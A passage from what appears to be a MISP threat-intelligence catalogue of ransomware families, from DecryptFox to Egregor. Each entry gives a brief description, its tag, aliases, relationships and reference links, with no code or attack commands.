https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/

DecryptFox Ransomware

Michael Gillespie found a new ransomware uploaded to ID Ransomware that appends the .encr extension and drops a ransom note named readmy.txt.

The tag is: *misp-galaxy:ransomware="DecryptFox Ransomware"*

Table 6390. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://twitter.com/demonslay335/status/1049325784979132417

garrantydecrypt

Michael Gillespie found a new ransomware that appends the .garrantydecrypt extension and drops a ransom note named RECOVERY_FILES.txt

The tag is: *misp-galaxy:ransomware="garrantydecrypt"*

Table 6391. Table References

Links

https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://www.bleepingcomputer.com/news/security/ransomware-pretends-to-be-proton-security-team-securing-data-from-hackers/

MVP Ransomware

Siri discovered a new ransomware that is appending the .mvp extension to encrypted files.

The tag is: *misp-galaxy:ransomware="MVP Ransomware"*

Table 6392. Table References

Links
https://twitter.com/siri_urz/status/1039077365039673344
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-september-14th-2018-kraken-dharma-and-matrix/

StorageCrypter

Michael Gillespie noticed numerous submissions to ID Ransomware from South Korea for the StorageCrypter ransomware. This version is using a new ransom note named read_me_for_recover_your_files.txt.

The tag is: *misp-galaxy:ransomware="StorageCrypter"*

StorageCrypter is also known as:

- SambaCry

Table 6393. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-september-14th-2018-kraken-dharma-and-matrix/

Rektware

GrujaRS discovered a new ransomware called Rektware that appends the .CQScSFy extension

The tag is: *misp-galaxy:ransomware="Rektware"*

Table 6394. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-september-14th-2018-kraken-dharma-and-matrix/

https://twitter.com/GrujaRS/status/1040677247735279616

M@r1a ransomware

The tag is: *misp-galaxy:ransomware="M@r1a ransomware"*

M@r1a ransomware is also known as:

- M@r1a
- BlackHeart

Table 6395. Table References

Links
https://twitter.com/malwrhunterteam/status/1058775145005887489
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-9th-2018-mostly-dharma-variants/

"prepending (enc) ransomware" (Not an official name)

The tag is: *misp-galaxy:ransomware=""prepending (enc) ransomware" (Not an official name)"*

"prepending (enc) ransomware" (Not an official name) is also known as:

- Aperfectday2018

Table 6396. Table References

Links
https://twitter.com/demonslay335/status/1059470985055875074
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-9th-2018-mostly-dharma-variants/

PyCL Ransomware

The tag is: *misp-galaxy:ransomware="PyCL Ransomware"*

PyCL Ransomware is also known as:

- Dxh26wam

Table 6397. Table References

Links
https://twitter.com/demonslay335/status/1060921043957755904

Vapor Ransomware

MalwareHunterTeam discovered the Vapor Ransomware that appends the .Vapor extension to encrypted files. Will delete files if you do not pay in time.

The tag is: *misp-galaxy:ransomware="Vapor Ransomware"*

Table 6398. Table References

Links
https://twitter.com/malwrhunterteam/status/1063769884608348160
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/

EnyBenyHorsuke Ransomware

GrujaRS discovered a new ransomware called EnyBenyHorsuke Ransomware that appends the .Horsuke extension to encrypted files.

The tag is: *misp-galaxy:ransomware="EnyBenyHorsuke Ransomware"*

Table 6399. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/
https://twitter.com/GrujaRS/status/1063930127610986496

DeLpHiMoRix

The tag is: *misp-galaxy:ransomware="DeLpHiMoRix"*

DeLpHiMoRix is also known as:

- DelphiMorix
- DelphiMorix!

Table 6400. Table References

Links
https://twitter.com/petrovic082/status/1065223932637315074
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/
https://twitter.com/demonslay335/status/1066099799705960448

EnyBeny Nuclear Ransomware

@GrujaRS discovered a new in-dev ransomware called EnyBeny Nuclear Ransomware that meant to append the extension .PERSONAL_ID:.Nuclear to encrypted files, but failed due to a bug.

The tag is: *misp-galaxy:ransomware="EnyBeny Nuclear Ransomware"*

Table 6401. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-30th-2018-indictments-sanctions-and-more/
https://twitter.com/GrujaRS/status/1066799421080461312
https://www.youtube.com/watch?v=_aaFon7FVbc

Lucky Ransomware

Michael Gillespie discovered a new ransomware that renamed encrypted files to "[original].[random].lucky" and drops a ransom note named *How_To_Decrypt_My_File*.txt.

The tag is: *misp-galaxy:ransomware="Lucky Ransomware"*

Table 6402. Table References

Links
https://twitter.com/demonslay335/status/1067109661076262913
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-30th-2018-indictments-sanctions-and-more/

WeChat Ransom

Over 100,000 thousand computers in China have been infected in just a few days with poorly-written ransomware that encrypts local files and steals credentials for multiple Chinese online services. The crooks show a screen titled UNNAMED1989 and demand the victim a ransom of 110 yuan ($16) in exchange for decrypting the files, payable via Tencent's WeChat payment service by scanning a QR code.

The tag is: *misp-galaxy:ransomware="WeChat Ransom"*

WeChat Ransom is also known as:

- UNNAMED1989

Table 6403. Table References

Links
https://www.bleepingcomputer.com/news/security/ransomware-infects-100k-pcs-in-china-demands-wechat-payment/

https://www.bleepingcomputer.com/news/security/chinese-police-arrest-dev-behind-unnamed1989-wechat-ransomware/

IsraBye

The tag is: *misp-galaxy:ransomware="IsraBye"*

Table 6404. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-7th-2018-wechat-ransomware-scammers-and-more/
https://www.youtube.com/watch?v=QevoUzbqNTQ
https://twitter.com/GrujaRS/status/1070011234521673728

Dablio Ransomware

The tag is: *misp-galaxy:ransomware="Dablio Ransomware"*

View relationships graph

Dablio Ransomware has relationships with:

- similar: misp-galaxy:ransomware="HolyCrypt" with estimative-language:likelihood-probability="likely"

Table 6405. Table References

Links
https://twitter.com/struppigel/status/1069905624954269696
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-7th-2018-wechat-ransomware-scammers-and-more/

Gerber Ransomware 1.0

The tag is: *misp-galaxy:ransomware="Gerber Ransomware 1.0"*

Table 6406. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-7th-2018-wechat-ransomware-scammers-and-more/
https://twitter.com/petrovic082/status/1071003939015925760
https://twitter.com/Emm_ADC_Soft/status/1071716275590782976

Gerber Ransomware 3.0

The tag is: *misp-galaxy:ransomware="Gerber Ransomware 3.0"*

Outsider

The tag is: *misp-galaxy:ransomware="Outsider"*

Table 6407. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-7th-2018-wechat-ransomware-scammers-and-more/
https://twitter.com/GrujaRS/status/1071153192975642630
https://www.youtube.com/watch?v=iB019lDvArs

JungleSec

Uses http://ccrypt.sourceforge.net/ encryption program

The tag is: *misp-galaxy:ransomware="JungleSec"*

Table 6408. Table References

Links
https://twitter.com/demonslay335/status/1071123090564923393
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-7th-2018-wechat-ransomware-scammers-and-more/

EQ Ransomware

GrujaRS discovered the EQ Ransomware that drops a ransom note named README_BACK_FILES.htm and uses .f**k (censored) as its extension for encrypted files. May be GlobeImposter.

The tag is: *misp-galaxy:ransomware="EQ Ransomware"*

Table 6409. Table References

Links
https://twitter.com/GrujaRS/status/1071349228172124160
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-14th-2018-slow-week/
https://www.youtube.com/watch?v=uHYY6XZZEw4

Mercury Ransomware

extension ".Mercury", note "!!!READ_IT!!!.txt" with 4 different 64-char hex as ID, 3 of which have dashes. Possible filemarker, same in different victim's files.

The tag is: *misp-galaxy:ransomware="Mercury Ransomware"*

Table 6410. Table References

Links
https://twitter.com/demonslay335/status/1072164314608480257

Forma Ransomware

The tag is: *misp-galaxy:ransomware="Forma Ransomware"*

Forma Ransomware is also known as:

- FORMA

Table 6411. Table References

Links
https://twitter.com/GrujaRS/status/1072468548977680385

Djvu

The tag is: *misp-galaxy:ransomware="Djvu"*

Table 6412. Table References

Links
https://twitter.com/demonslay335/status/1072907748155842565

Ryuk ransomware

Similar to Samas and BitPaymer, Ryuk is specifically used to target enterprise environments. Code comparison between versions of Ryuk and Hermes ransomware indicates that Ryuk was derived from the Hermes source code and has been under steady development since its release. Hermes is commodity ransomware that has been observed for sale on forums and used by multiple threat actors. However, Ryuk is only used by GRIM SPIDER and, unlike Hermes, Ryuk has only been used to target enterprise environments. Since Ryuk's appearance in August, the threat actors operating it have netted over 705.80 BTC across 52 transactions for a total current value of $3,701,893.98 USD.

The tag is: *misp-galaxy:ransomware="Ryuk ransomware"*

Table 6413. Table References

Links

https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2019-ACT-005.pdf

BitPaymer

In August 2017, a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K.'s National Health Service (NHS), with a high ransom demand of 53 BTC (approximately $200,000 USD). The targeting of an organization rather than individuals, and the high ransom demands, made BitPaymer stand out from other contemporary ransomware at the time. Though the encryption and ransom functionality of BitPaymer was not technically sophisticated, the malware contained multiple anti-analysis features that overlapped with Dridex. Later technical analysis of BitPaymer indicated that it had been developed by INDRIK SPIDER, suggesting the group had expanded its criminal operation to include ransomware as a monetization strategy.

The tag is: *misp-galaxy:ransomware="BitPaymer"*

BitPaymer is also known as:

- FriedEx
- IEncrypt

Table 6414. Table References

Links
https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/

LockerGoga

The tag is: *misp-galaxy:ransomware="LockerGoga"*

View relationships graph

LockerGoga has relationships with:

- similar: misp-galaxy:ransomware="Nodera Ransomware" with estimative-language:likelihood-probability="roughly-even-chance"

Table 6415. Table References

Links
https://www.bleepingcomputer.com/news/security/new-lockergoga-ransomware-allegedly-used-in-altran-attack/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2019-ACT-005.pdf

Princess Evolution

We have been observing a malvertising campaign via Rig exploit kit delivering a cryptocurrency-mining malware and the GandCrab ransomware since July 25. On August 1, we found Rig's traffic stream dropping a then-unknown ransomware. Delving into this seemingly new ransomware, we checked its ransom payment page in the Tor network and saw it was called Princess Evolution (detected by Trend Micro as RANSOM_PRINCESSLOCKER.B), and was actually a new version of the Princess Locker ransomware that emerged in 2016. Based on its recent advertisement in underground forums, it appears that its operators are peddling Princess Evolution as a ransomware as a service (RaaS) and are looking for affiliates. The new malvertising campaign we observed since July 25 is notable in that the malvertisements included Coinhive (COINMINER_MALXMR.TIDBF). Even if users aren't diverted to the exploit kit and infected with the ransomware, the cybercriminals can still earn illicit profit through cryptocurrency mining. Another characteristic of this new campaign is that they hosted their malvertisement page on a free web hosting service and used domain name system canonical name (DNS CNAME) to map their advertisement domain on a malicious webpage on the service.

The tag is: *misp-galaxy:ransomware="Princess Evolution"*

Princess Evolution is also known as:

- PrincessLocker Evolution

Table 6416. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/ransomware-as-a-service-princess-evolution-looking-for-affiliates/

Jokeroo

A new Ransomware-as-a-Service called Jokeroo is being promoted on underground hacking sites and via Twitter that allows affiliates to allegedly gain access to a fully functional ransomware and payment server. According to a malware researcher named Damian, the Jokeroo RaaS first started promoting itself as a GandCrab Ransomware RaaS on the underground hacking forum Exploit.in.

The tag is: *misp-galaxy:ransomware="Jokeroo"*

Jokeroo is also known as:

- Fake GandCrab

Table 6417. Table References

Links
https://www.bleepingcomputer.com/news/security/jokeroo-ransomware-as-a-service-offers-multiple-membership-packages/

GlobeImposter

During December 2017, a new variant of the GlobeImposter Ransomware was detected for the first time and reported on malware-traffic-analysis. At first sight this ransomware looks very similar to other ransomware samples and uses common techniques such as process hollowing. However, deeper inspection showed that like LockPoS, which was analyzed by CyberBit, GlobeImposter too bypasses user-mode hooks by directly invoking system calls. Given this evasion technique is being leveraged by new malware samples may indicate that this is a beginning of a trend aiming to bypass user-mode security products.

The tag is: *misp-galaxy:ransomware="GlobeImposter"*

Table 6418. Table References

Links
https://www.fortinet.com/blog/threat-research/analysis-of-new-globeimposter-ransomware-variant.html

BlackWorm

BlackWorm Ransomware is a malicious computer infection that encrypts your files, and then does everything it can to prevent you from restoring them. It needs you to pay $200 for the decryption key, but there is no guarantee that the people behind this infection would really issue the decryption tool for you.

The tag is: *misp-galaxy:ransomware="BlackWorm"*

Table 6419. Table References

Links
https://spyware-techie.com/blackworm-ransomware-removal-guide

Tellyouthepass

Tellyouthepass is a ransomware that alters system files, registry entries and encodes personal photos, documents, and servers or archives. Army-grade encryption algorithms get used to change the original code of the file and make the data useless.

The tag is: *misp-galaxy:ransomware="Tellyouthepass"*

Table 6420. Table References

Links
https://malware.wikia.org/wiki/Tellyouthepass

BigBobRoss

BigBobRoss ransomware is the cryptovirus that requires a ransom in Bitcoin to return encrypted files marked with .obfuscated appendix.

The tag is: *misp-galaxy:ransomware="BigBobRoss"*

Table 6421. Table References

Links
https://www.2-spyware.com/remove-bigbobross-ransomware.html

Planetary

First discovered by malware security analyst, Lawrence Abrams, PLANETARY is an updated variant of another high-risk ransomware called HC7.

The tag is: *misp-galaxy:ransomware="Planetary"*

Table 6422. Table References

Links
https://www.pcrisk.com/removal-guides/12121-planetary-ransomware

Cr1ptT0r

Cr1ptT0r Ransomware Targets NAS Devices with Old Firmware.

The tag is: *misp-galaxy:ransomware="Cr1ptT0r"*

Cr1ptT0r is also known as:

- Criptt0r
- Cr1pt0r
- Cripttor

Table 6423. Table References

Links
https://www.coveware.com/blog/2019/3/13/cr1ptt0r-ransomware-targets-nas-devices-with-old-firmware
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cr1ptt0r

Sodinokibi

Attackers are actively exploiting a recently disclosed vulnerability in Oracle WebLogic to install a new variant of ransomware called "Sodinokibi." Sodinokibi attempts to encrypt data in a user's directory and delete shadow copy backups to make data recovery more difficult. Oracle first patched the issue on April 26, outside of their normal patch cycle, and assigned it CVE-2019-2725. This vulnerability is easy for attackers to exploit, as anyone with HTTP access to the WebLogic server could carry out an attack. Because of this, the bug has a CVSS score of 9.8/10. Attackers have been making use of this exploit in the wild since at least April 17. Cisco's Incident Response (IR) team, along with Cisco Talos, are actively investigating these attacks and Sodinokibi.

The tag is: *misp-galaxy:ransomware="Sodinokibi"*

Sodinokibi is also known as:

- REvil
- Revil

Table 6424. Table References

Links
https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html

Phobos

Phobos exploits open or poorly secured RDP ports to sneak inside networks and execute a ransomware attack, encrypting files and demanding a ransom be paid in bitcoin for returning the files, which in this case are locked with a .phobos extension.

The tag is: *misp-galaxy:ransomware="Phobos"*

Phobos is also known as:

- Java NotDharma

Table 6425. Table References

Links
https://www.zdnet.com/article/new-phobos-ransomware-exploits-weak-security-to-hit-targets-around-the-world/

GetCrypt

A new ransomware is in the dark market which encrypts all the files on the device and redirects victims to the RIG exploit kit.

The tag is: *misp-galaxy:ransomware="GetCrypt"*

Table 6426. Table References

Links
https://www.ehackingnews.com/2019/05/getcrypt-ransomware-modus-operandi-and.html

Nemty

A new ransomware family dubbed "Nemty" for the extension it adds to encrypted files has recently surfaced in the wild. According to a report from Bleeping Computer, New York-based reverse engineer Vitali Kremez posits that Nemty is possibly delivered through exposed remote desktop connections.

The tag is: *misp-galaxy:ransomware="Nemty"*

Table 6427. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/nemty-ransomware-possibly-spreads-through-exposed-remote-desktop-connections

Buran

Buran is a new version of the Vega ransomware strain (a.k.a. Jamper, Ghost, Buhtrap) that attacked accountants from February through April 2019. The new Buran ransomware first was discovered by nao_sec in June 2019, delivered by the RIG Exploit Kit, as reported by BleepingComputer.

The tag is: *misp-galaxy:ransomware="Buran"*

Table 6428. Table References

Links
https://www.acronis.com/en-us/blog/posts/meet-buran-new-delphi-ransomware-delivered-rig-exploit-kit

Hildacrypt

The Hildacrypt ransomware encrypts the victim’s files with a strong encryption algorithm and the filename extension .hilda until the victim pays a fee to get them back.

The tag is: *misp-galaxy:ransomware="Hildacrypt"*

Table 6429. Table References

Links
https://securitynews.sonicwall.com/xmlpost/hildacrypt-ransomware-actively-spreading-in-the-wild/

Mr.Dec

Mr. Dec ransomware is cryptovirus that was first spotted in mid-May 2018, and since then was updated multiple times. The ransomware encrypts all personal data on the device with the help of AES encryption algorithm and appends .[ID]random 16 characters[ID] file extension, preventing from their further usage.

The tag is: *misp-galaxy:ransomware="Mr.Dec"*

Mr.Dec is also known as:

- MrDec
- Sherminator

Table 6430. Table References

Links
https://www.2-spyware.com/remove-mr-dec-ransomware.html
https://id-ransomware.blogspot.com/2018/05/mrdec-ransomware.html

Freeme

Freezing crypto ransomware encrypts user data using AES, and then requires a ransom in # BTC to return the files. Original title: not indicated in the note. The file says: FreeMe.exe

The tag is: *misp-galaxy:ransomware="Freeme"*

Freeme is also known as:

- Freezing

Table 6431. Table References

Links
http://id-ransomware.blogspot.com/2019/06/freeme-freezing-ransomware.html

DoppelPaymer

We have dubbed this new ransomware DoppelPaymer because it shares most of its code with the BitPaymer ransomware operated by INDRIK SPIDER. However, there are a number of differences between DoppelPaymer and BitPaymer, which may signify that one or more members of INDRIK SPIDER have split from the group and forked the source code of both Dridex and BitPaymer to start their own Big Game Hunting ransomware operation.

The tag is: *misp-galaxy:ransomware="DoppelPaymer"*

Table 6432. Table References

Links
https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/
https://malpedia.caad.fkie.fraunhofer.de/details/win.doppelpaymer

Desync

This crypto ransomware encrypts enterprise LAN data with AES (ECB mode), and then requires a ransom in # BTC to return the files.

The tag is: *misp-galaxy:ransomware="Desync"*

Table 6433. Table References

Links
https://id-ransomware.blogspot.com/2019/01/unnamed-desync-ransomware.html

Maze

Maze Ransomware encrypts files and makes them inaccessible while adding a custom extension containing part of the ID of the victim. The ransom note is placed inside a text file and an htm file. There are a few different extensions appended to files which are randomly generated.

The tag is: *misp-galaxy:ransomware="Maze"*

View relationships graph

Maze has relationships with:

- related-to: misp-galaxy:ransomware="Ragnar Locker" with estimative-language:likelihood-probability="likely"

Table 6434. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.maze
https://www.bleepingcomputer.com/news/security/maze-ransomware-now-delivered-by-spelevo-exploit-kit/
https://www.proofpoint.com/us/threat-insight/post/ta2101-plays-government-imposter-distribute-malware-german-italian-and-us

Cyborg Ransomware

Ransomware delivered using fake Windows Update spam

The tag is: *misp-galaxy:ransomware="Cyborg Ransomware"*

Table 6435. Table References

Links
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/fake-windows-update-spam-leads-to-cyborg-ransomware-and-its-builder/

FTCode

A targeted email campaign has been spotted distributing the JasperLoader to victims. While the JasperLoader was originally used to then install Gootkit, Certego has observed it now being used to infect victims with a new ransomware dubbed FTCODE. Using an invoice-themed email appearing to target Italian users, the attackers attempt to convince users to allow macros in a Word document. The macro is used to run PowerShell to retrieve additional PowerShell code.

The tag is: *misp-galaxy:ransomware="FTCode"*

Table 6436. Table References

Links
https://www.certego.net/en/news/malware-tales-ftcode/
https://exchange.xforce.ibmcloud.com/collection/FTCODE-Ransomware-45dacdc2d5cf30722ced20b9d37988c2
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.ftcode

Clop

Observed for the first time in Febuary 2019, variant from CryptoMix Family, itself a variation from CryptXXX and CryptoWall family

The tag is: *misp-galaxy:ransomware="Clop"*

Table 6437. Table References

Links
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf

PornBlackmailer

A new infection is being distributed by porn sites that tries to blackmail a victim into paying a ransom by stating they will tell law enforcement that the victim is spreading child porn. This is done by collecting information about the user, including screen shots of their active desktop, in order to catch them in compromising situations.

The tag is: *misp-galaxy:ransomware="PornBlackmailer"*

Table 6438. Table References

Links
https://www.bleepingcomputer.com/news/security/blackmailware-found-on-porn-site-threatens-to-report-users-are-spreading-child-porn/

KingOuroboros

This crypto-extortioner encrypts user data using AES, and then requires a $ 30- $ 50- $ 80 buy- back to BTC to return the files. The name is original. Written on AutoIt.

The tag is: *misp-galaxy:ransomware="KingOuroboros"*

Table 6439. Table References

Links
https://id-ransomware.blogspot.com/2018/06/kingouroboros-ransomware.html

MAFIA Ransomware

The ransomware appears to target users in Korea, and may have been developed with at least knowledge of the Korean language.

The tag is: *misp-galaxy:ransomware="MAFIA Ransomware"*

MAFIA Ransomware is also known as:

- Mafia

Table 6440. Table References

Links
https://bartblaze.blogspot.com/2018/08/mafia-ransomware-targeting-users-in.html

5ss5c Ransomware

The cybercrime group that brought us Satan, DBGer and Lucky ransomware and perhaps Iron ransomware, has now come up with a new version or rebranding named 5ss5c. [...] It will however only encrypt files with the following extensions: 7z, bak, cer, csv, db, dbf, dmp, docx, eps, ldf, mdb, mdf, myd, myi, ora, pdf, pem, pfx, ppt, pptx, psd, rar, rtf, sql, tar, txt, vdi, vmdk, vmx, xls, xlsx, zip

The tag is: *misp-galaxy:ransomware="5ss5c Ransomware"*

Table 6441. Table References

Links
https://bartblaze.blogspot.com/2020/01/satan-ransomware-rebrands-as-5ss5c.html

Nodera Ransomware

Nodera is a ransomware family that uses the Node.js framework and was discovered by Quick Heal researchers. The infection chain starts with a VBS script embedded with multiple JavaScript files. Upon execution, a directory is created and both the main node.exe program and several required NodeJS files are downloaded into the directory. Additionally, a malicious JavaScript payload that performs the encryption process is saved in this directory. After checking that it has admin privileges and setting applicable variables, the malicious JavaScript file enumerates the drives to create a list of targets. Processes associated with common user file types are stopped and volume shadow copies are deleted. Finally, all user-specific files on the C: drive and all files on other drives are encrypted and are appended with a .encrypted extension. The ransom note containing instructions on paying the Bitcoin ransom are provided along with a batch script to be used for decryption after obtaining the private key. Some mistakes in the ransom note identified by the researchers include the fact that it mentions a 2048-bit RSA public key instead of 4096-bit (the size that was actually used), a hard-coded private key destruction time dating back almost 2 years ago, and a lack of instructions for how the private key will be obtained after the ransom is paid. These are signs that the ransomware may be in the development phase and was likely written by an amateur. For more information, see the QuickHeal blog post in the Reference section below.

The tag is: *misp-galaxy:ransomware="Nodera Ransomware"*

Nodera Ransomware is also known as:

- Nodera

Table 6442. Table References

Links
https://exchange.xforce.ibmcloud.com/collection/6f18908ce6d9cf4efb551911e00d9ec4
https://blogs.quickheal.com/first-node-js-based-ransomware-nodera/

MegaCortex

Discovered in May 2019. dropped throught networks compromised by trojan like Emotet or TrickBot. Tools and methods used are similar to LockerGoga

The tag is: *misp-galaxy:ransomware="MegaCortex"*

View relationships graph

MegaCortex has relationships with:

- similar: misp-galaxy:ransomware="LockerGoga" with estimative-language:likelihood-probability="roughly-even-chance"

Table 6443. Table References

Links
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf

RobinHood

Detected in April 2019. Known for paralyzing the cities of Baltimore and Greenville. Probably also exfiltrate data

The tag is: *misp-galaxy:ransomware="RobinHood"*

RobinHood is also known as:

- HelpYemen

Table 6444. Table References

Links
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf

Bart ransomware

Bart ransomware is distributed by the same Russian Cyber Mafia behind Dridex 220 and Locky. Bart doesn't communicate with a command and control (C&C) server, so it can encrypt files without being connected to a computer. Bart is spread to end users via phishing emails containing .zip attachments with JavaScript Code and use social engineering to trick users into opening the 'photo' attachments. The zipped files are obfuscated to make it more hard to tell what actions they are performing. See screenshot above for an example of what they look like. If opened, these attachments download and install the intermediary loader RockLoader which downloads Bart onto the machine over HTTPS. Once executed, it will first check the language on the infected computer. If the malware detects Russian, Belorussian, or Ukrainian, the ransomware will terminate and will not proceed with the infection. If it's any other language, it will start scanning the computer for certain file extensions to encrypt. Because Bart does not require communication with C&C infrastructure prior to encrypting files, Bart could possibly encrypt machines sitting behind corporate firewalls that would otherwise block such traffic. Thus, organizations need to ensure that Bart is blocked at the email gateway using rules that block zipped executables.

The tag is: *misp-galaxy:ransomware="Bart ransomware"*

Bart ransomware is also known as:

- Locky Bart

Table 6445. Table References

Links
https://www.knowbe4.com/bart-ransomware

Razor

Razor was discovered by dnwls0719, it is a part of Garrantydecrypt ransomware family. Like many other programs of this type, Razor is designed to encrypt files (make them unusable/inaccessible), change their filenames, create a ransom note and change victim's desktop wallpaper. Razor renames files by appending the ".razor" extension to their filenames. For example, it renames "1.jpg" to "1.jpg.razor", and so on. It creates a ransom note which is a text file named " RECOVERY.txt", this file contains instructions on how to contact Razor's developers (cyber criminals) and other details. As stated in the "RECOVERY.txt" file, this ransomware encrypts all files and information about how to purchase a decryption tool can be received by contacting Razor's developers. Victims supposed to contact them via razor2020@protonmail.ch, Jabber client (razor2020@jxmpp.jp) or ICQ client (@razor2020) and wait for further instructions. It is very likely that they will name a price of a decryption tool and/or key and provide cryptocurrency wallet's address that should be used to make a transaction. However, it is never a good idea to trust (pay) any cyber criminals/ransomware developers. It is common that they do not provide decryption tools even after a payment. Another problem is that ransomware-type programs encrypt files with strong encryption algorithms and their developers are the only ones who have tools that can decrypt files encrypted by their ransomware. In most cases victims have the only free and safe option: to restore files from a backup. Also, it is worth mentioning that files remain encrypted even after uninstallation of ransomware, its removal only prevents it from causing further encryptions.

The tag is: *misp-galaxy:ransomware="Razor"*

Table 6446. Table References

Links
https://www.pcrisk.com/removal-guides/17016-razor-ransomware

Wadhrama

The tag is: *misp-galaxy:ransomware="Wadhrama"*

View relationships graph

Wadhrama has relationships with:

- used-by: misp-galaxy:microsoft-activity-group="PARINACOTA" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="PARINACOTA" with estimative-language:likelihood-probability="likely"

Table 6447. Table References

Links
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=ransom:win32/wadhrama.c&ThreatID=2147730655

Mespinoza

Mespinoza ransomware is used at least since october 2018. First versions used the common extension ".locked". SInce december 2019 a new version in open sourced and documented, this new version uses the ".pyza" extension.

The tag is: *misp-galaxy:ransomware="Mespinoza"*

Mespinoza is also known as:

- Pyza
- Pysa

Table 6448. Table References

Links
https://www.cert.ssi.gouv.fr/cti/CERTFR-2020-CTI-002/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-002.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf

CoronaVirus

A new ransomware called CoronaVirus has been distributed through a fake web site pretending to promote the system optimization software and utilities from WiseCleaner. With the increasing fears and anxiety of the Coronavirus (COVID-19) outbreak, an attacker has started to build a campaign to distribute a malware cocktail consisting of the CoronaVirus Ransomware and the Kpot information-stealing Trojan. This new ransomware was discovered by MalwareHunterTeam and after further digging into the source of the file, we have been able to determine how the threat actor plans on distributing the ransomware and possible clues suggesting that it may actually be a wiper.

The tag is: *misp-galaxy:ransomware="CoronaVirus"*

Table 6449. Table References

Links
https://www.bleepingcomputer.com/news/security/new-coronavirus-ransomware-acts-as-cover-for-kpot-infostealer/

Snake Ransomware

Snake ransomware first attracted the attention of malware analysts in January 2020 when they observed the crypto-malware family targeting entire corporate networks. Shortly after this discovery, the threat quieted down. It produced few new detected infections in the wild for the next few months. That was until May 4, when ID Ransomware registered a sudden spike in submissions for the ransomware.

The tag is: *misp-galaxy:ransomware="Snake Ransomware"*

Table 6450. Table References

Links
https://www.cybersecurity-insiders.com/meet-the-snake-ransomware-which-encrypts-all-connected-devices/
https://www.tripwire.com/state-of-security/security-data-protection/massive-spike-in-snake-ransomware-activity-attributed-to-new-campaign/
https://www.bleepingcomputer.com/news/security/large-scale-snake-ransomware-campaign-targets-healthcare-more/

eCh0raix

Anomali researchers have observed a new ransomware family, dubbed eCh0raix, targeting QNAP Network Attached Storage (NAS) devices. QNAP devices are created by the Taiwanese company QNAP Systems, Inc., and contain device storage and media player functionality, amongst others. The devices appear to be compromised by brute forcing weak credentials and exploiting known vulnerabilities in targeted attacks. The malicious payload encrypts the targeted file extensions on the NAS using AES encryption and appends .encrypt extension to the encrypted files. The ransom note created by the ransomware has the form shown below. eCh0raix was first seen in June 2019, after victims began reporting ransomware attacks in a forum topic on BleepingComputer. On June 1st, 2020, there has been a sudden surge of eCh0raix victims seeking help in our forums and submissions to the ransomware identification site ID-Ransomware.

The tag is: *misp-galaxy:ransomware="eCh0raix"*

Table 6451. Table References

Links
https://www.bleepingcomputer.com/news/security/ongoing-ech0raix-ransomware-campaign-targets-qnap-nas-devices/
https://www.anomali.com/blog/the-ech0raix-ransomware

Egregor

The threat group behind this malware seems to operate by hacking into companies, stealing sensitive data, and then running Egregor to encrypt all the files. According to the ransom note, if the ransom is not paid by the company within 3 days, and aside from leaking part of the stolen data, they will distribute via mass media where the company's partners and clients will know that the company was attacked.

The tag is: *misp-galaxy:ransomware="Egregor"*

View relationships graph

Egregor has relationships with:

- variant-of: misp-galaxy:ransomware="Sekhmet" with estimative-language:likelihood-probability="likely"

Table 6452. Table References

Links
https://www.appgate.com/news-press/appgate-labs-analyzes-new-family-of-ransomware-egregor
https://www.bleepingcomputer.com/news/security/crytek-hit-by-egregor-ransomware-ubisoft-data-leaked/
https://cybersecuritynews.com/egregor-ransomware/
https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/

SunCrypt

